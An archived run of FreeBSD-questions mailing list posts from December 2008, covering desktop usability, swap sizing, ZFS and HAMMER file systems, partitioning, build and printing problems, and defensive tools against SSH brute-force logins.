michael.copeland at gmail.com (michael) Date: Tue Dec 2 11:02:36 2008 Subject: FreeBSD and hardware?? In-Reply-To: References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> Message-ID: <49358640.3060600@gmail.com> Bob McConnell wrote: > On Behalf Of Chad Perrin > >> On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: >> >>> On Behalf Of Chad Perrin >>> >>> On the other hand, both Unix and Linux have a long way to go before >>> > they > >>> can match Microsoft's ease of use on the GUI. I believe the best way >>> to attack that problem is to find a new paradigm to replace the >>> > desktop, > >>> which is not a great interface model to begin with. >>> >> I guess that depends on your definition of "ease of use". In my >> > little > >> world, "ease of use" involves the ease, efficiency, and speed of task >> completion via an interface with which I'm familiar. It seems from >> > what > >> you said that in your little world "ease of use" means "familiarity", >> since that's really the major win for MS Windows interfaces, to the >> majority of its users. >> > > Here are two simple tests for ease of use. > > 1. View a tree of files and directories, some local some remote mounts. > Highlight a random group of those objects. Move the entire group in one > motion by dragging and dropping the collection to a new location in the > tree. > > 2. Do an SMB mount of remote directories onto the desktop or your home > directory. Open any application and access files in that directory as > easily as when they are on the local drive. > > I have not been able to do either of these on Ubuntu 7.10 or > XFCE/Slackware 12. In the first case, I need to cut and paste the > individual files one at a time. I can't even move a directory. In the > second, I have been unable to get Amarok, vlc, xine or any other > multimedia application I have tried, to recognize the SMB mounted > directory. It is invisible to them. At the application level there > should be absolutely no difference between a local drive and a mounted > remote drive, no matter what protocol was used to mount it. The > application should not need to implement smb:// itself. > > I am not even going to talk about how difficult it is to find and modify > basic configuration files, particularly after the LSB crowd really > screwed everything up. > > Once you fix basic problems like these, then we can talk about how to > redefine ease of use. > > Bob McConnell > ease of use is always relative to the person using. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From michael.copeland at gmail.com Tue Dec 2 11:04:55 2008 From: michael.copeland at gmail.com (michael) Date: Tue Dec 2 11:05:03 2008 Subject: FreeBSD and hardware?? In-Reply-To: References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> Message-ID: <493586D3.6040703@gmail.com> Bob McConnell wrote: > On Behalf Of Chad Perrin > >> On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: >> >>> On Behalf Of Chad Perrin >>> >>> On the other hand, both Unix and Linux have a long way to go before >>> > they > >>> can match Microsoft's ease of use on the GUI. I believe the best way >>> to attack that problem is to find a new paradigm to replace the >>> > desktop, > >>> which is not a great interface model to begin with. >>> >> I guess that depends on your definition of "ease of use". In my >> > little > >> world, "ease of use" involves the ease, efficiency, and speed of task >> completion via an interface with which I'm familiar. It seems from >> > what > >> you said that in your little world "ease of use" means "familiarity", >> since that's really the major win for MS Windows interfaces, to the >> majority of its users. >> > > Here are two simple tests for ease of use. > > 1. View a tree of files and directories, some local some remote mounts. > Highlight a random group of those objects. Move the entire group in one > motion by dragging and dropping the collection to a new location in the > tree. > > 2. Do an SMB mount of remote directories onto the desktop or your home > directory. Open any application and access files in that directory as > easily as when they are on the local drive. > > I have not been able to do either of these on Ubuntu 7.10 or > XFCE/Slackware 12. In the first case, I need to cut and paste the > individual files one at a time. I can't even move a directory. In the > second, I have been unable to get Amarok, vlc, xine or any other > multimedia application I have tried, to recognize the SMB mounted > directory. It is invisible to them. At the application level there > should be absolutely no difference between a local drive and a mounted > remote drive, no matter what protocol was used to mount it. The > application should not need to implement smb:// itself. > > I am not even going to talk about how difficult it is to find and modify > basic configuration files, particularly after the LSB crowd really > screwed everything up. > > Once you fix basic problems like these, then we can talk about how to > redefine ease of use. > > Bob McConnell > also, my vlc sees any mounted drive or directory, no matter the protocol. so does mplayer, etc. i don't know why your system doesn't operate correctly, but i don't have that issue at all. e,g: /mnt/Azureus Downloads this mount is mounted over samba from a computer on the other side of the house, and i see everything on it and play my files over the network. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From ivoras at freebsd.org Tue Dec 2 11:05:06 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Tue Dec 2 11:05:13 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202110922.T14849@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> Message-ID: Wojciech Puchar wrote: >> >>> What about DragonFlyBSD's new HAMMER FS? I hear it has similar >>> capabilities >>> as ZFS without the overhead. Though, strangely, I haven't really heard >>> anyone discuss it even though it was released some months ago. > > it's maybe pre-pre-prerelease. > > it's not finished yet. I don't think HAMMER intends to implement a significant portion of ZFS's features. In particular, IIRC Matt specifically said he won't do anything about volume management (the data storage / RAID layer of ZFS) which among many other things means no ad-hoc file system creation. Also, HAMMER needs to be "vacuumed" periodically by design (the reason for this seems to me similar to that of pgsql) which isn't a particularly nice design. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/3da75a1e/signature.pgp From jerrymc at msu.edu Tue Dec 2 11:13:04 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Tue Dec 2 11:14:02 2008 Subject: FreeBSD and hardware?? In-Reply-To: References: <20081202162808.GA5851@kokopelli.hydra> Message-ID: <20081202190806.GA91047@gizmo.acns.msu.edu> On Tue, Dec 02, 2008 at 01:41:43PM -0500, Bob McConnell wrote: > On Behalf Of Chad Perrin > > On Mon, Dec 01, 2008 at 01:25:24PM -0500, Bob McConnell wrote: > >> On Behalf Of Chad Perrin > >> > >> On the other hand, both Unix and Linux have a long way to go before > they > >> can match Microsoft's ease of use on the GUI. I believe the best way > >> to attack that problem is to find a new paradigm to replace the > desktop, > >> which is not a great interface model to begin with. > > > > I guess that depends on your definition of "ease of use". In my > little > > world, "ease of use" involves the ease, efficiency, and speed of task > > completion via an interface with which I'm familiar. It seems from > what > > you said that in your little world "ease of use" means "familiarity", > > since that's really the major win for MS Windows interfaces, to the > > majority of its users. > > Here are two simple tests for ease of use. > > 1. View a tree of files and directories, some local some remote mounts. > Highlight a random group of those objects. Move the entire group in one > motion by dragging and dropping the collection to a new location in the > tree. That's easy. Actually easier with just a simple mv command. Who cares about drag and drop. That is harder. > > 2. Do an SMB mount of remote directories onto the desktop or your home > directory. Open any application and access files in that directory as > easily as when they are on the local drive. Works fine around here. ////jerry > > I have not been able to do either of these on Ubuntu 7.10 or > XFCE/Slackware 12. In the first case, I need to cut and paste the > individual files one at a time. I can't even move a directory. In the > second, I have been unable to get Amarok, vlc, xine or any other > multimedia application I have tried, to recognize the SMB mounted > directory. It is invisible to them. At the application level there > should be absolutely no difference between a local drive and a mounted > remote drive, no matter what protocol was used to mount it. The > application should not need to implement smb:// itself. > > I am not even going to talk about how difficult it is to find and modify > basic configuration files, particularly after the LSB crowd really > screwed everything up. > > Once you fix basic problems like these, then we can talk about how to > redefine ease of use. > > Bob McConnell > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From perlcat at alltel.net Tue Dec 2 11:15:11 2008 From: perlcat at alltel.net (Tyson Boellstorff) Date: Tue Dec 2 11:15:18 2008 Subject: FreeBSD and hardware?? In-Reply-To: <49358640.3060600@gmail.com> References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> Message-ID: <200812021314.59374.perlcat@alltel.net> > > Once you fix basic problems like these, then we can talk about how to > > redefine ease of use. > > > > Bob McConnell > > ease of use is always relative to the person using. > Ease of use is also relative to the training investment. In X, a moderate investment some 20-odd years ago still pays, even through the evolvement of interfaces like KDE, which follows the same general structure. With certain other commercial products, you get to learn it again, and again, and again. What I've had to re-learn to support Windows 1.1, 2.0. 3.0. 3.11, 95, NT, ME, 2000, XP, and Vista has changed dramtically over the years, and they're not done making it usable for the lowest common denominator yet, especially when you throw in de-enhancements like (un)FriendlyTree, a.k.a. "Where the @!$#@! are my files?!?!?!". This is why I can easily justify teaching my elders FreeBSD -- they unquestionably have more to learn, but they only learn it once, so the investment pays off. From jerrymc at msu.edu Tue Dec 2 11:15:43 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Tue Dec 2 11:16:01 2008 Subject: To swap or not to swap In-Reply-To: <20081202200112.L16307@wojtek.tensor.gdynia.pl> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081202182554.GA90678@gizmo.acns.msu.edu> <20081202200112.L16307@wojtek.tensor.gdynia.pl> Message-ID: <20081202191047.GB91047@gizmo.acns.msu.edu> On Tue, Dec 02, 2008 at 08:01:22PM +0100, Wojciech Puchar wrote: > >Yes, have some swap. The system uses this space for more than swapping > >out processes. It uses it for paging and for crash dumping. The > >rule of thumb is 2.2 times memory size. > > why not 2.17? Sounds good to me. Takes one more character to type... ////jerry > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 11:23:15 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 11:23:22 2008 Subject: To swap or not to swap In-Reply-To: <20081202191047.GB91047@gizmo.acns.msu.edu> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081202182554.GA90678@gizmo.acns.msu.edu> <20081202200112.L16307@wojtek.tensor.gdynia.pl> <20081202191047.GB91047@gizmo.acns.msu.edu> Message-ID: <20081202202241.S16385@wojtek.tensor.gdynia.pl> >>> Yes, have some swap. The system uses this space for more than swapping >>> out processes. It uses it for paging and for crash dumping. The >>> rule of thumb is 2.2 times memory size. >> >> why not 2.17? > > Sounds good to me. Takes one more character to type... and both 2.2 and 2.17 is nonsense. the only rule is use as much as needed From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 11:24:06 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 11:24:13 2008 Subject: FreeBSD and hardware?? In-Reply-To: <200812021314.59374.perlcat@alltel.net> References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> <200812021314.59374.perlcat@alltel.net> Message-ID: <20081202202334.H16385@wojtek.tensor.gdynia.pl> > This is why I can easily justify teaching my elders FreeBSD -- they > unquestionably have more to learn, but they only learn it once, so the > investment pays off. but most people don't like to learn. even once. From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 11:24:43 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 11:24:51 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> Message-ID: <20081202202359.V16385@wojtek.tensor.gdynia.pl> > > I don't think HAMMER intends to implement a significant portion of ZFS's it intends to implement what's needed. anyway - lets wait when it will be really finished From freebsd at edvax.de Tue Dec 2 11:24:53 2008 From: freebsd at edvax.de (Polytropon) Date: Tue Dec 2 11:25:06 2008 Subject: UFS partitioning In-Reply-To: References: <20081202111740.96805018.freebsd@edvax.de> Message-ID: <20081202202436.88c54b26.freebsd@edvax.de> On Tue, 2 Dec 2008 11:53:23 +0100 (CET), Pieter Donche wrote: > I know / is the "root partition", but /root is the home-directory of > the user root (/etc/passwd: root:*:0:0:Charlie &:/root:/bin/csh). > I doubt this will ever be needed to be large? There is no special advice about what /root should contain. As you mentioned correctly, this content belongs to the system administrator "root". In the most cases I've seen, root stores a backup of configuration files and useful scripts that no one else should be able to use. And when you take into mind that many users use the sudo command instead of logging in as root, there's less use for this directory. My thought: It won't get large. > If its not large > fsck neither will spend much time in it. So I guess it's just safe > not to make this a separate BSD-partiton ? No separate partition, correct. It's okay to make / at 1 GB max, and fsck won't run for long. > Yes, but it's hard to find out what is best... I'm constantly > swinged between the one (/ including /tmp /var /usr) and the > other (all separate) option ... In fact, there is no "the best", it completely depends on what you're going to do with the system. It has been explained before, but I'd like to mention some advantages of the "partitions approach" and the "one partition approach": The first one allows you to dump / restore data partition-wise, but when a partition is occupied 100%, the trouble starts. You don't have this problem when you have everything on one partition, but a "runaway disk space consumer" (e. g. a faulty program) can occupy all disk space causing problems for processes that would like to write to /tmp or /var. Finally, changing the paradigm would usually be combined with a complete re-installation. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 11:24:55 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 11:25:07 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> Message-ID: <20081202202441.J16385@wojtek.tensor.gdynia.pl> >> time to wait and see if they will really make dragonfly faster than >> FreeBSD (it's their goal)... > > http://people.freebsd.org/~kris/scaling/dfly.html > > Good luck to them, they need it :) indeed:) From chris at chrismaness.com Tue Dec 2 11:27:34 2008 From: chris at chrismaness.com (Chris Maness) Date: Tue Dec 2 11:27:42 2008 Subject: Firefox Compile Issues Message-ID: I am compiling firefox 3. It just hangs at these lines. /usr/ports/www/firefox3/work/mozilla/security/nss/cmd/shlibsign/FreeBSD7.0_OPT.OBJ/shlibsign -v -i /usr/ports/www/firefox3/work/mozilla/dist/lib/libsoftokn3.so From michael.copeland at gmail.com Tue Dec 2 11:42:26 2008 From: michael.copeland at gmail.com (michael) Date: Tue Dec 2 11:42:33 2008 Subject: FreeBSD and hardware?? In-Reply-To: <200812021314.59374.perlcat@alltel.net> References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> <200812021314.59374.perlcat@alltel.net> Message-ID: <49358F9D.7090006@gmail.com> Tyson Boellstorff wrote: >>> Once you fix basic problems like these, then we can talk about how to >>> redefine ease of use. >>> >>> Bob McConnell >>> >> ease of use is always relative to the person using. >> >> > > Ease of use is also relative to the training investment. In X, a moderate > investment some 20-odd years ago still pays, even through the evolvement of > interfaces like KDE, which follows the same general structure. > > With certain other commercial products, you get to learn it again, and again, > and again. What I've had to re-learn to support Windows 1.1, 2.0. 3.0. 3.11, > 95, NT, ME, 2000, XP, and Vista has changed dramtically over the years, and > they're not done making it usable for the lowest common denominator yet, > especially when you throw in de-enhancements like (un)FriendlyTree, > a.k.a. "Where the @!$#@! are my files?!?!?!". > > This is why I can easily justify teaching my elders FreeBSD -- they > unquestionably have more to learn, but they only learn it once, so the > investment pays off. > you basically lengthened what i said. :-) also, using classic menus from xp and up looks like win95 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From jerrymc at msu.edu Tue Dec 2 12:00:15 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Tue Dec 2 12:00:22 2008 Subject: FreeBSD and hardware?? In-Reply-To: <20081202202334.H16385@wojtek.tensor.gdynia.pl> References: <20081121211828.GA9493@kokopelli.hydra> <49358640.3060600@gmail.com> <200812021314.59374.perlcat@alltel.net> <20081202202334.H16385@wojtek.tensor.gdynia.pl> Message-ID: <20081202195516.GA91244@gizmo.acns.msu.edu> On Tue, Dec 02, 2008 at 08:23:49PM +0100, Wojciech Puchar wrote: > >This is why I can easily justify teaching my elders FreeBSD -- they > >unquestionably have more to learn, but they only learn it once, so the > >investment pays off. > but most people don't like to learn. even once. You need to begin speaking for yourself rather than that reluctant expert character called Most People. You seem to do quite well working out issues that you encounter in your work, but everytime you start quoting this Most People guy you seem to get lost in the weeds. Let Most People speak for himself and deal with his own problems. FreeBSD has done quite well and developed an excellent product when people applied themselves to create solutions for the problems they were actually having and allowed Most People to do the same with his issues. ////jerry > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From michael.copeland at gmail.com Tue Dec 2 12:22:44 2008 From: michael.copeland at gmail.com (michael) Date: Tue Dec 2 12:22:52 2008 Subject: cups from latest portsnap and CURRENT Message-ID: <49359911.6000200@gmail.com> is there a magic foo i need to make it work? sees my printer, says its printing, finishes job, and yet.. no paper. From info at ebbehjorth.dk Tue Dec 2 12:30:17 2008 From: info at ebbehjorth.dk (Ebbe Hjorth) Date: Tue Dec 2 12:30:24 2008 Subject: mx1.freebsd.org Message-ID: <88ddca1954c47570bcc42e110f9a40a9.squirrel@86.58.167.132> Hi, My postfix mail servers shows to messages in the queue saying (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) But when i do a lookup or a reverse lookup, i find my hostname. Does mx1.freebsd.org have an old dns? / Ebbe From anthony.rasat at gmail.com Tue Dec 2 12:47:35 2008 From: anthony.rasat at gmail.com (Anthony M. Rasat) Date: Tue Dec 2 12:47:42 2008 Subject: Swapping to MMC (Was: To swap or not to swap) Message-ID: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> >>> The rule of thumb is 2.2 times memory size. >> >> why not 2.17? > > Sounds good to me. Takes one more character to type... >and both 2.2 and 2.17 is nonsense. > >the only rule is use as much as needed It's fun watching you fellas argue about 0.03 thing. I put in your opinions in kinda pros or cons to swap in Asus Eee PC like following: Pros: 1) System requires swap. Period. 2) Swap may need size in range between 2.17 times to 2.22 time or whatever size it need. This is not prohibited by Eee's SSD size (4GB btw, 701 series). Cons: 1) Since SSD is manufactured have limited lifetime (around 100,000 times write operation or so, I read it somewhere), swapping to SSD is more likely not a wise thing to do. Two against one. I concurr that swap is needed. However since SSD in 701 series is not removable, having a bad sector in SSD is one thing you don't want to have. So the questions are, because Asus Eee have MMC reader built in, is it wise to swap to MMC? Since MMC is presumably slower on write operation than SSD, isn't it become bottleneck for system performances? And what happened if FreeBSD kernel suddenly lose its swap file by absent-minded human? Is it going to be just angry or having massive heart attack? I might as well change the subject. There. FYI I asked those questions because I don't have any MMC to play with. In here 1GB MMC is about USD 5 or so. Not exactly expensive but it's late, I have to continue playing FreeBSD in Eee tommorrow. Thanks again for your opinions. -- Regards, Anthony M. Rasat Manager - Technical, Network and Support Division PT. Jawa Pos National Network Graha Pena Jawa Pos Group Building, 5th floor Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 Indonesia.- Phone 02132185562 Phone 081574217035 Fax 02153651465 Web http://www.jpnn.com From michael.copeland at gmail.com Tue Dec 2 12:52:22 2008 From: michael.copeland at gmail.com (michael) Date: Tue Dec 2 12:52:28 2008 Subject: Swapping to MMC (Was: To swap or not to swap) In-Reply-To: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <4935A003.9050508@gmail.com> Anthony M. Rasat wrote: >>>> The rule of thumb is 2.2 times memory size. >>>> >>> why not 2.17? >>> >> Sounds good to me. Takes one more character to type... >> and both 2.2 and 2.17 is nonsense. >> >> the only rule is use as much as needed >> > > It's fun watching you fellas argue about 0.03 thing. > > I put in your opinions in kinda pros or cons to swap in Asus Eee PC like following: > > Pros: 1) System requires swap. Period. 2) Swap may need size in range between 2.17 times to 2.22 time or whatever size it need. This is not prohibited by Eee's SSD size (4GB btw, 701 series). > > Cons: 1) Since SSD is manufactured have limited lifetime (around 100,000 times write operation or so, I read it somewhere), swapping to SSD is more likely not a wise thing to do. > > Two against one. I concurr that swap is needed. However since SSD in 701 series is not removable, having a bad sector in SSD is one thing you don't want to have. > > So the questions are, because Asus Eee have MMC reader built in, is it wise to swap to MMC? Since MMC is presumably slower on write operation than SSD, isn't it become bottleneck for system performances? And what happened if FreeBSD kernel suddenly lose its swap file by absent-minded human? Is it going to be just angry or having massive heart attack? > > I might as well change the subject. There. > FYI I asked those questions because I don't have any MMC to play with. > In here 1GB MMC is about USD 5 or so. Not exactly expensive but it's late, I have to continue playing FreeBSD in Eee tommorrow. > > Thanks again for your opinions. > i have a very small machine with ssd drive, the write issue is pretty much null on the very newest ones.. but that is neither here nor there. i'm using a high speed sd card for my swap and a couple other things, there is not drop in performance with, in fact, its reads /writes are faster than my hd. > > ------------------------------------------------------------------------ > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From beech at freebsd.org Tue Dec 2 12:53:34 2008 From: beech at freebsd.org (Beech Rintoul) Date: Tue Dec 2 12:53:41 2008 Subject: sshit runs out of semaphores In-Reply-To: <20081202085427.ed5634d0.wmoran@potentialtech.com> References: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> <20081202085427.ed5634d0.wmoran@potentialtech.com> Message-ID: <200812021153.33518.beech@freebsd.org> On Tuesday 02 December 2008 04:54:27 Bill Moran wrote: > In response to "DA Forsyth" : > > Hiya > > > > I recently started (trying) to use sshit to filter the many brute > > force sshd attacks. > > > > However, it has never worked on my box. FreeBSD 7.0 p1. > > > > This morning it would only give a message (without exiting) > > Could not create semaphore set: No space left on device > > at /usr/local/sbin/sshit line 322 > > Every time it gets stopped by CTRL-C it leaves the shared memory > > behind, allocated. > > Have a look at ipcs and ipcrm, which will save you the reboots. > > > A side issue is that sshit will only filter rapid fire attacks, but I > > am also seeing 'slow fire' attacks, where an IP is repeated every 2 > > or 3 hours, but there seem to be a network of attackers because the > > name sequence is kept up across many incoming IP's. Is there any > > script for countering these attacks? > > If not I'll write one I think. > > My approach: > http://www.potentialtech.com/cms/node/16 I use denyhosts which adds the IP to a file called hosts_deny.ssh. It will keep the IP for however many days you set it for so a repeat even hours later will just get bounced. -- --------------------------------------------------------------------------------------- Beech Rintoul - FreeBSD Developer - beech@FreeBSD.org /"\ ASCII Ribbon Campaign | FreeBSD Since 4.x \ / - NO HTML/RTF in e-mail | http://people.freebsd.org/~beech X - NO Word docs in e-mail | Skype: akbeech / \ - http://www.FreeBSD.org/releases/7.0R/announce.html --------------------------------------------------------------------------------------- From dan-freebsd-questions at ourbrains.org Tue Dec 2 13:10:52 2008 From: dan-freebsd-questions at ourbrains.org (Dan) Date: Tue Dec 2 13:11:04 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> Message-ID: <20081202211113.GA19886@ourbrains.org> Ivan Voras(ivoras@freebsd.org)@2008.12.02 20:00:46 +0100: > Wojciech Puchar wrote: > >> > >> It's already usable on DragonFly. DragonFLY itself is stable, but only > >> supports one CPUIt probably will never be ported to FreeBSD due to > >> API differences. > > > > time to wait and see if they will really make dragonfly faster than > > FreeBSD (it's their goal)... > > http://people.freebsd.org/~kris/scaling/dfly.html > > Good luck to them, they need it :) > That's a stupid benchmark. DragonFly doesn't have SMP support yet. As already mentioned, they don't have SMP yet. Scalable SMP is the ultimate goal though, and once they get rid of giant lock, the SMP won't take that long. From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 13:14:07 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 13:14:14 2008 Subject: Swapping to MMC (Was: To swap or not to swap) In-Reply-To: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <20081202220948.T16797@wojtek.tensor.gdynia.pl> > > I put in your opinions in kinda pros or cons to swap in Asus Eee PC like following: > > Pros: 1) System requires swap. Period. it doesn't. > Cons: 1) Since SSD is manufactured have limited lifetime (around 100,000 10000 for MLC flash it uses. after every rewrite flash gets less reliable and keeps data for shorter time. new flash chip guarrantes 10 years data persistency using standard error correction, after 9000 rewrites it's about 1 year etc. and: SSD "disks" emulates disks instead of using flash-designed filesystem. they do LOTS of extra writes for "worn up management", mapping tables. you can safely assume 2 times more data written in reality than requested. assuming 4GB flash, 10000*4GB/2=20TB of writes and flash is dead. not that much with swapping IO ranged in megabytes/s From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 13:15:06 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 13:15:23 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202211113.GA19886@ourbrains.org> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> <20081202110922.T14849@wojtek.tensor.gdynia.pl> <20081202170805.GA20420@ourbrains.org> <20081202190351.Q16084@wojtek.tensor.gdynia.pl> <20081202211113.GA19886@ourbrains.org> Message-ID: <20081202221411.W16797@wojtek.tensor.gdynia.pl> >> > > That's a stupid benchmark. DragonFly doesn't have SMP support yet. my "benchmark" is to start it install programs i use commonly and compare it to other system. on single-core machine i tested FreeBSD is faster. From dan-freebsd-questions at ourbrains.org Tue Dec 2 13:27:04 2008 From: dan-freebsd-questions at ourbrains.org (Dan) Date: Tue Dec 2 13:27:10 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: References: Message-ID: <20081202212724.GB19886@ourbrains.org> Don O'Neil(lists@lizardhill.com)@2008.12.02 08:57:58 -0800: > With all the discussions of ZFS lately, I'm beginning to wonder if it's > really ready for a production environment. Concerns over memory utilization, > speed, stability, etc... >From everything I've read people use it in production successfully, but not without some tweaking or testing. That said, I would love to see XFS ported. IIRC you can't resize gvinum volumes on the fly either, if that's the case, that would also be a nice feature. On Linux I can resize LVM volumes, and then resize a live XFS without having to unmount it. Takes seconds. From pgiessel at mac.com Tue Dec 2 13:36:11 2008 From: pgiessel at mac.com (Peter Giessel) Date: Tue Dec 2 13:36:18 2008 Subject: Disenchanted with ZFS; alternatives? Message-ID: <46703346351880256269680332892534375073-Webmail@me.com> >> > time to wait and see if they will really make dragonfly faster than >> > FreeBSD (it's their goal)... >> >> http://people.freebsd.org/~kris/scaling/dfly.html >> >> Good luck to them, they need it :) >> > >That's a stupid benchmark. DragonFly doesn't have SMP support yet. So? Look at just the UP scores then. From the above page: "UP performance on FreeBSD 7 is 2.6 times higher than dragonfly UP performance and 1.8 times higher than freebsd 4 UP performance." Please explain how DragonFly's lack of SMP affects the UP performance? Also, from an end user perspective, you can hardly get a computer these days that only has one core. SMP performance is very relevant from that perspective. From Albert.Shih at obspm.fr Tue Dec 2 13:37:56 2008 From: Albert.Shih at obspm.fr (Albert Shih) Date: Tue Dec 2 13:38:03 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <200812010959.15647.kirk@strauser.com> References: <200812010959.15647.kirk@strauser.com> Message-ID: <20081202213750.GA58666@obspm.fr> Le 01/12/2008 ? 09:59:15-0600, Kirk Strauser a ?crit > I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, > in general I'm a bit underwhelmed. > > PROS: > > Adding new filesystems on a whim is really nice. > > It has a lot of really cool other features that I will probably never need. > > CONS: > > I have nearly 3GB of wired RAM, but it doesn't seem to be all that fast. > For example, starting an Amanda backup on a UFS2 filesystem would get through > the "estimate" phase almost instantly on a system that had been up for several > days because of cached filesystem data. On ZFS, it still limps along even if I > just finished the last backup a few minutes earlier. > > Other than saying "I'm using ZFS", I don't seem to have much to show for it. > > WTF: > > "Raidz and top-level vdevs cannot be removed from a pool." > > > At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to > give up that easy addition of new filesystems. I *could* have a single 700GB > root FS but that just doesn't seem right. Are there any good, tested GEOM- > based ways of getting that functionality, perhaps along the lines of using > something like gvirstor and growfs as needed? Maybe my message is little in the wrong mailing-list.... I'm have choosing ZFS....under Solaris because for some special purpose I need a big space (~30To). So I've two Sun X4500 with Solaris x86-64 After one year I can say ZFS is fantastic file system for (IMHO) those reason : Don't have fsck (for 30To is very very useful) Snapshots is instantly make. You can put any number files in on directory (of course depend you context but it's useful for me) Very very rock solid. For the last item, I can say that because they are ?big? bug in the kernel of Solaris when I start to using it. The effect is the server ... reboot when it's heavy load on SATA controller. So I've many reboot (~30) in very short time. Event that I never lost any bits of information on my FS. To come back to FreeBSD, I'm using FreeBSD since > 10 years, UFS is very slow, and when UFS2 is release I'm very happy to switch to UFS2. Now FreeBSD have ZFS, and I'm using it in....my scracth because I don't really need ZFS on my server when they are ~ 100-1024Go disk. I'm using 